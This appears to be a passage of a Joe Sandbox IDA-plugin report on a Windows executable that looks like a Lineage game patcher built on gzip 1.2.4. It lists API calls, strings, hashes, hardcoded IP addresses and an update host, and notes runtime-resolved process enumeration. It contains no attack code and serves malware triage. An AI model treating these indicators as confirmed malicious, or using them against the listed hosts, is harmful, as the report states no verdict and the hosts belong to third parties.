String ID: %s: $%s: %s: warning, name truncated
API String ID: 1389079204-458201650
Opcode ID: a3126ab65de63e92ad8fa693e295b5a28395d762c483af1bd3e1123f9cb77154
Instruction ID: 5acda6029e939a4717fff11dc4368bb8f9bcee2258bef70ed8b10927a55ce341
Opcode Fuzzy Hash: a3126ab65de63e92ad8fa693e295b5a28395d762c483af1bd3e1123f9cb77154
Instruction Fuzzy Hash: F5414A71B003006BD310EF65FC86AA77768EB41712B44453AFD00C6390EBBEE9498BAD

Function 00403470 Relevance: 26.3, APIs: 6, Strings: 9, Instructions: 41COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403496
fprintf.MSVCRT ref: 004034B1
fprintf.MSVCRT ref: 004034C1
fprintf.MSVCRT ref: 004034D2
fprintf.MSVCRT ref: 004034E3
fprintf.MSVCRT ref: 004034F3

Strings

STDC_HEADERS , xrefs: 004034B8
NO_DIR, xrefs: 004034A3
PROTO , xrefs: 004034DA
18 Aug 93, xrefs: 00403482
SYS_UTIME, xrefs: 0040349E
NO_CHOWN , xrefs: 004034C9
1.2.4, xrefs: 00403487
Compilation options:%s %s , xrefs: 004034AB
%s %s (%s), xrefs: 00403490

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s %s (%s)$1.2.4$18 Aug 93$Compilation options:%s %s $NO_CHOWN $NO_DIR$PROTO $STDC_HEADERS $SYS_UTIME
API String ID: 383729395-2689630165
Opcode ID: a70cb19a629df5b07583c66aabe98044dffa5f6107cef01d8c84a7f8fd9d9bae
Instruction ID: 4b6a6e37a4e8a8b24d19e98f8069f77a165053a3780c44f2d19bed00bfec8d7f
Opcode Fuzzy Hash: a70cb19a629df5b07583c66aabe98044dffa5f6107cef01d8c84a7f8fd9d9bae
Instruction Fuzzy Hash: A3F0F2B2A90360B7E21497A4AE46FC62B59974DB403258617A602E6390D5FDE8D08B9C

Function 0040C320 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 114libraryloaderstringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 0040C353
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0040C36F
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0040C379
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040C383
lstrlen.KERNEL32(?), ref: 0040C3E2
lstrcpy.KERNEL32(?,?), ref: 0040C401
CloseHandle.KERNEL32(?), ref: 0040C441
CloseHandle.KERNEL32(00000000), ref: 0040C457

Strings

CreateToolhelp32Snapshot, xrefs: 0040C369
KERNEL32.DLL, xrefs: 0040C34E
Process32First, xrefs: 0040C371
Process32Next, xrefs: 0040C37B

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: AddressHandleProc$Close$Modulelstrcpylstrlen
String ID: CreateToolhelp32Snapshot$KERNEL32.DLL$Process32First$Process32Next
API String ID: 4077257286-2574356532
Opcode ID: e8387bdb3c3689115f51c203db012f4b9b98175315e1d7d8616b368c3c14683c
Instruction ID: 69232cbab9329239a9ff3fe9dd903f740cb54fcaca41571de1296c06b2b3d69c
Opcode Fuzzy Hash: e8387bdb3c3689115f51c203db012f4b9b98175315e1d7d8616b368c3c14683c
Instruction Fuzzy Hash: 0631E9312043559BC7109F64DC84BEBF7D8FF89710F404A3AE958E3280D7B9D9498B99

Function 00408AB0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,000003F5,000000C5,00007FFF,00000000), ref: 00408AF1
GetDlgItem.USER32(?,000003F6), ref: 00408AFD
SendMessageA.USER32(00000000,00000401,00000000,7FFF0000), ref: 00408B15
_beginthreadex.MSVCRT ref: 00408C4F

Strings

210.122.63.89, xrefs: 00408B39, 00408C18
202.85.231.12, xrefs: 00408BB8
210.200.182.141, xrefs: 00408B7A, 00408BF6
hP9B, xrefs: 00408C46
63.104.49.23, xrefs: 00408B67
211.53.239.211, xrefs: 00408BA8
43.231.249.1, xrefs: 00408BE3

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: ItemMessageSend$_beginthreadex
String ID: 202.85.231.12$210.122.63.89$210.200.182.141$211.53.239.211$43.231.249.1$63.104.49.23$hP9B
API String ID: 2122396886-1343465851
Opcode ID: 00870eb72e755f9de7d8cac1b0a71af431e78c8d88687759df4325499df4bb19
Instruction ID: cc25442dbb5c4d6f965149cfb9878dcd33b761491a2cb82b5a7cb29ef3ad2388
Opcode Fuzzy Hash: 00870eb72e755f9de7d8cac1b0a71af431e78c8d88687759df4325499df4bb19
Instruction Fuzzy Hash: 3141E835B0960456D7244B385D057AA3BA1D782320F59827FBA9BE73D0CFB88C07935C

Function 004074D0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97filewindowCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00423A54,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004074EA
MessageBoxA.USER32(00000000,Can't create index file.,0041BA48,00000000), ref: 00407505
WriteFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00407524
MessageBoxA.USER32(00000000,Error writing index file.,0041BA48,00000000), ref: 0040753B
CloseHandle.KERNEL32(00000000), ref: 00407542

Strings

Error writing index file., xrefs: 00407534, 004075B1
Can't create index file., xrefs: 004074FE

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: FileMessage$CloseCreateHandleWrite
String ID: Can't create index file.$Error writing index file.
API String ID: 2961909895-600444791
Opcode ID: f85f91edbfcc18edba49a262f6f646280cdb792821b01d4b12fb3f4e1be4ab76
Instruction ID: 8a0bc0facd1aecf11997ae2cae6aa2fac9b54c369b2d5b7d37cf35be00517035
Opcode Fuzzy Hash: f85f91edbfcc18edba49a262f6f646280cdb792821b01d4b12fb3f4e1be4ab76
Instruction Fuzzy Hash: 5B21D631788201BEE310CB38FC46FDB7794EB84756F20852AF209E15D0D7B8A584C79A

Function 004053D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00405414
_chmod.MSVCRT ref: 0040543A
fprintf.MSVCRT ref: 00405467
perror.MSVCRT ref: 0040548D
_chmod.MSVCRT ref: 004054A6
_unlink.MSVCRT(0048C280), ref: 004054AD
fprintf.MSVCRT ref: 004054D9
perror.MSVCRT ref: 004054FF

Strings

%s: , xrefs: 00405461, 004054D3
%s: time stamp restored, xrefs: 0040540E

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_chmodperror$_unlink
String ID: %s: $%s: time stamp restored
API String ID: 3310226241-733184430
Opcode ID: 24a8beef19f5cd096eb5dda689d36be08d908d389252601d4180a251c570d050
Instruction ID: 67df91fde78b826e4749d222bdc36cb0341bab375db6d7fecd87f0bb88f8dbba
Opcode Fuzzy Hash: 24a8beef19f5cd096eb5dda689d36be08d908d389252601d4180a251c570d050
Instruction Fuzzy Hash: 27318470740301A7E720AF55EC82BA733A8EB40755B548436E904EB390E7BDE9958F6D

Function 004071D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,usmainupd2.lineageTheBloodPledge.com,?,76C19CE0,?,0040A69E,lineage.cfg,00000000,usmainupd2.lineageTheBloodPledge.com), ref: 004071EB
sprintf.MSVCRT ref: 00407203
GetFileSize.KERNEL32(00000000,00000000,?,0040B53D), ref: 00407216
sprintf.MSVCRT ref: 00407244
CloseHandle.KERNEL32(00000000), ref: 0040724E

Strings

File not found for %s, xrefs: 004071F9
usmainupd2.lineageTheBloodPledge.com, xrefs: 004071D7

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: Filesprintf$CloseCreateHandleSize
String ID: File not found for %s$usmainupd2.lineageTheBloodPledge.com
API String ID: 2219480462-2963495118
Opcode ID: 58fef6064f4c8a2234d0555b2f3379d0813ace5401b7a8ee403f8e7830520cab
Instruction ID: 5245a720053aa41af2b67493ead1f6ba6fd0905d8e977c31303b170893638657
Opcode Fuzzy Hash: 58fef6064f4c8a2234d0555b2f3379d0813ace5401b7a8ee403f8e7830520cab
Instruction Fuzzy Hash: 4511E7327443007BD1106B69BC49FD73B5CDB85B66F104036FB04A11D1D7A96544426E

Function 0040EF00 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 156stringCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040EF16
strspn.MSVCRT ref: 0040EF7A
strcspn.MSVCRT ref: 0040EF90
free.MSVCRT ref: 0040EFAC

Strings

out of memory, xrefs: 0040EFDC
argc<=0, xrefs: 0040F000
n.@, xrefs: 0040EF05, 0040EF0F

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: freegetenvstrcspnstrspn
String ID: argc<=0$n.@$out of memory
API String ID: 3980070842-2039068372
Opcode ID: b377abb427cc531090c987af98b4f5916b5b97905e371a5181f3429f52bfafb0
Instruction ID: 0d06460566aa7cc97bb9a07f500ff12f0f6c80f3c491f2905d9dfca7791f36b4
Opcode Fuzzy Hash: b377abb427cc531090c987af98b4f5916b5b97905e371a5181f3429f52bfafb0
Instruction Fuzzy Hash: 1A41E5B16043065BD7249F28AC4066777D1EF85324F28057EFCC6A7382DBBE9C468799

Function 00404200 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 004040C0: _strlwr.MSVCRT ref: 0040415D

fprintf.MSVCRT ref: 004042B6
_strlwr.MSVCRT ref: 004042C5
fprintf.MSVCRT ref: 00404397

Strings

.taz, xrefs: 00404306
%s: %s: unknown suffix -- ignored, xrefs: 004042B0
%s: %s already has %s suffix -- unchanged, xrefs: 00404391
.tar, xrefs: 00404347
.tgz, xrefs: 004042CE

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _strlwrfprintf
String ID: %s: %s already has %s suffix -- unchanged$%s: %s: unknown suffix -- ignored$.tar$.taz$.tgz
API String ID: 482835165-2475073226
Opcode ID: 36b048917b2985cbf2fac1135b6efcdcbd1921479a9c6b949d41a688d8a32ec4
Instruction ID: 5683366541345941d0fbb9906bcc136d9a94eb4e2445dfba0e80b07bcff9359f
Opcode Fuzzy Hash: 36b048917b2985cbf2fac1135b6efcdcbd1921479a9c6b949d41a688d8a32ec4
Instruction Fuzzy Hash: 25510FB17001400BD7248E38AC91BAB37E5ABD2765358927AEE82D73E0E67EC905934C

Function 00404F70 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 156stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F070: fprintf.MSVCRT ref: 0040F090

strrchr.MSVCRT ref: 00405049
strcspn.MSVCRT ref: 00405066
strrchr.MSVCRT ref: 004050A1

Strings

can't recover suffix, xrefs: 00404FC6
internal error in shorten_name, xrefs: 004050AC
name too short, xrefs: 00404F9F
.tar, xrefs: 00404FE8
.tgz, xrefs: 00405020

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: strrchr$fprintfstrcspn
String ID: .tar$.tgz$can't recover suffix$internal error in shorten_name$name too short
API String ID: 3861143205-2223311432
Opcode ID: 56e2620eb037e95c92781b0fa5cc298dba40189d7c33656321d29130f0b3e5c7
Instruction ID: cfa93fa0c9688f37e3b74e6e18ad113cd6a683f9ce775eb1b0710fe7abdf1a04
Opcode Fuzzy Hash: 56e2620eb037e95c92781b0fa5cc298dba40189d7c33656321d29130f0b3e5c7
Instruction Fuzzy Hash: 854138766087551BD7209E286C107AFBBC1DB96310F28467BEC85A33C2D7BA9C0987DD

Function 0040A7E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

_chmod.MSVCRT ref: 0040A7EC

Part of subcall function 0040A880: _open.MSVCRT ref: 0040A88D

strncmp.MSVCRT ref: 0040A815
_open.MSVCRT ref: 0040A836
_write.MSVCRT ref: 0040A854
_write.MSVCRT ref: 0040A85D
_close.MSVCRT ref: 0040A860
free.MSVCRT ref: 0040A86B

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A7E5

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _open_write$_chmod_closefreestrncmp
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 1992929274-4278508022
Opcode ID: b0b10054e9d811ef64e9d479db2ebb033e4e170392b009d181fcf804bc130eab
Instruction ID: d5b790ee09dae37e68e7750a3a3385f08c03447546272726d46f10df84067ba6
Opcode Fuzzy Hash: b0b10054e9d811ef64e9d479db2ebb033e4e170392b009d181fcf804bc130eab
Instruction Fuzzy Hash: 6001F9325402107BD1016715AC45EAF33A8DF85B55F04C039F904A2280EB7D9D5787FF

Function 00408F00 Relevance: 13.6, APIs: 9, Instructions: 97fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,08000000,00000000), ref: 00408F1B
GetFileSize.KERNEL32(00000000,?), ref: 00408F32
CloseHandle.KERNEL32(00000000), ref: 00408F43
malloc.MSVCRT ref: 00408F51
CloseHandle.KERNEL32(00000000), ref: 00408F61

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: CloseFileHandle$CreateSizemalloc
String ID:
API String ID: 832796747-0
Opcode ID: 479da16b189d4319f38e416f2df4ef96fa9eec955b64e273ff50ff58c6565655
Instruction ID: d4d4dbeef034970ea3fce49b00f5570b28fcdb05ba413549aa964d5a795237e1
Opcode Fuzzy Hash: 479da16b189d4319f38e416f2df4ef96fa9eec955b64e273ff50ff58c6565655
Instruction Fuzzy Hash: BE21CC76204305AFE7105B74BC48FEB7769EB84722F10853EF74AD1280EBB498858769

Function 00406930 Relevance: 13.6, APIs: 9, Instructions: 81windowCOMMON

Download Yara Rule

APIs

vsprintf.MSVCRT ref: 00406948
SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 00406974
SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406990
SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,00003FFF), ref: 004069B5
SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,004231C8), ref: 004069CF
SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 004069E5
SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406A01
SendDlgItemMessageA.USER32(?,000003F5,000000B1,?,?), ref: 00406A1A
SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,?), ref: 00406A33

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: ItemMessageSend$vsprintf
String ID:
API String ID: 1140547905-0
Opcode ID: 71bffc2fb07b61fe9fb47ff9566554edaf6b3f8d3e673b034361d1632632bf64
Instruction ID: 5521610152aa145ef41dce1af4b3ce32329c33d7c881f2a6bf9fd3f2bfd00b01
Opcode Fuzzy Hash: 71bffc2fb07b61fe9fb47ff9566554edaf6b3f8d3e673b034361d1632632bf64
Instruction Fuzzy Hash: EA214F71B843167BF520D754DC86FA637ACDB84B00F80892AB754AB1E0EBF4B9418F95

Function 00406E90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

htonl.WSOCK32(?), ref: 00406EB2
sprintf.MSVCRT ref: 00406F50
htonl.WSOCK32(?), ref: 00406F84
_ftol.MSVCRT ref: 00406FF8
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00407009
htonl.WSOCK32(?), ref: 00407019

Strings

%s.gz, xrefs: 00406F46

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: htonl$MessageSend_ftolsprintf
String ID: %s.gz
API String ID: 347006897-506877619
Opcode ID: 919993e58ef4d44a7d01eedb12fe464d1e9105f1e53959857d31b62cf5412cd8
Instruction ID: f5cd75c4530d01ae92219204bb5bf1eb5bff02ec4c610d68433682fc3c536229
Opcode Fuzzy Hash: 919993e58ef4d44a7d01eedb12fe464d1e9105f1e53959857d31b62cf5412cd8
Instruction Fuzzy Hash: DB4112B4F44310ABD250EFA9FC46F5A33A0E740705F45817AF545A72E2C6BCB9518BAC

Function 0040A1D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040A1FF
atoi.MSVCRT(?), ref: 0040A21B
atoi.MSVCRT(?), ref: 0040A23B

Strings

netsgo, xrefs: 0040A1FA
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A1DF

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: atoi$_strcmpi
String ID: netsgo$usmainupd2.lineageTheBloodPledge.com
API String ID: 4201911817-1120272338
Opcode ID: 804d48ebb8e193a3701d3e4b44d9c4b8fda528b3347b24a38b2dd944ec3e9824
Instruction ID: 946a26e6737a1b535d9a7643eafd1095cdeaa3c405f852664bfcc13734166e7d
Opcode Fuzzy Hash: 804d48ebb8e193a3701d3e4b44d9c4b8fda528b3347b24a38b2dd944ec3e9824
Instruction Fuzzy Hash: CD11967A70020067E710975CFC85BEA7358E788720F44813AED58D2380E1BEE99A96B6

Function 0040A880 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_open.MSVCRT ref: 0040A88D
_lseek.MSVCRT ref: 0040A8AB

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A8C2

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _lseek_open
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 2666902854-4278508022
Opcode ID: b9d5d0ad0b8e288daf73789ce982e88d89c1d5d658d0e14e783b8d1a5a6732ca
Instruction ID: d121094fae00023878105c1caa6307fda9599a7c7ea01373903d1cc1979eb394
Opcode Fuzzy Hash: b9d5d0ad0b8e288daf73789ce982e88d89c1d5d658d0e14e783b8d1a5a6732ca
Instruction Fuzzy Hash: D5F0287374122077D7206BA8AC89FDB7798EF85372F108136F644D62C0DB7A995087AD

Function 00408D80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 004024D0: fopen.MSVCRT ref: 004024F2

fgets.MSVCRT ref: 00408DB8
atoi.MSVCRT(?), ref: 00408DCE
fgets.MSVCRT ref: 00408DFE
fgets.MSVCRT ref: 00408E6A
fclose.MSVCRT ref: 00408EDD

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 00408DE8

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fgets$atoifclosefopen
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 3390724653-4278508022
Opcode ID: 36bf16d3365ebe6c1982db41ce7a78d6910c9eedce31e0dc370ecbff149c33f3
Instruction ID: ec9c16981d60bf94d8cf6ba1c7eade0994ddd278513ceb63639861188bf572e6
Opcode Fuzzy Hash: 36bf16d3365ebe6c1982db41ce7a78d6910c9eedce31e0dc370ecbff149c33f3
Instruction Fuzzy Hash: A141E4352043049BD314CB78AD456AB7BD0BB81354F544A3DF9A6E31D1EFB9D908C68D

Function 004033B0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 32COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 004033DC

Part of subcall function 00403380: fprintf.MSVCRT ref: 0040339F

fprintf.MSVCRT ref: 00403402

Strings

18 Aug 93, xrefs: 004033C3
1.2.4, xrefs: 004033C8
%s %s (%s), xrefs: 004033D1
%s, xrefs: 004033F9

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s$%s %s (%s)$1.2.4$18 Aug 93
API String ID: 383729395-2112967068
Opcode ID: 542d0755c800e3b9d5a421d42a4a9b403712bb1b221898fa84610f293fabf537
